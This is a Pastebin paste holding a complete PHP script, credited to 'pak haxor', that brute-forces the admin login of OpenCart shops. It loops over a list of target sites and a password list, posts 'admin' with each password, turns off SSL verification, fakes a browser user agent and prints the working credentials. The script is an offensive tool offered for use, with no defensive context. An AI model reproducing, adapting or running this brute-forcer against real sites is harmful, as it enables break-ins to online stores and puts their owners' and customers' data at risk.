Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- Class PakHaxor{
- //create by pak haxor
- //--------function---------//
- public function curl($url,$post = false)
- {
- $curl = curl_init($url);
- if($post !== false)
- {
- curl_setopt($curl, CURLOPT_POST, true);
- curl_setopt($curl,CURLOPT_POST,1);
- }
- curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
- curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt($curl,CURLOPT_COOKIEJAR, 'cookie.txt');
- curl_setopt($curl, CURLOPT_COOKIESESSION, true);
- $data = curl_exec($curl);
- return $data;
- }
- public function revup($site)
- {
- $valid = file_get_contents($site."/admin/index.php?route=common/login");
- if(eregi("username",$valid))
- {
- $passlist ="pass.txt";
- $pass=file($passlist);
- foreach ($pass as $password){
- $password=str_replace("\r","",$password);
- $password=str_replace("\n","",$password);
- $post = "username=admin&password=".$password;
- $curl = $this->curl("$site"."/admin/index.php?route=common/login",$post);
- if(eregi("and/",$curl))
- {
- echo $site."/admin/index.php?route=common/login User : admin "."Password : ".$password." Failed Login\n";
- }
- else
- {
- echo $site."/admin/index.php?route=common/login User : admin "."Password : ".$password." Success Login\n";
- break;
- }
- }
- }
- else
- {
- echo $site."/admin/index.php?route=common/login Admin Tidak Ditemukan/Bukan Open Cart "."\n";
- }
- }
- //-------------------------//
- }
- $brute = new PakHaxor();
- error_reporting(0);
- set_time_limit(0);
- $sitelist ="list.txt";
- $get=file($sitelist);
- foreach ($get as $urls){
- $urls=str_replace("\r","",$urls);
- $urls=str_replace("\n","",$urls);
- echo "[+] Scaning : $urls \n";
- $brute->revup($urls);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement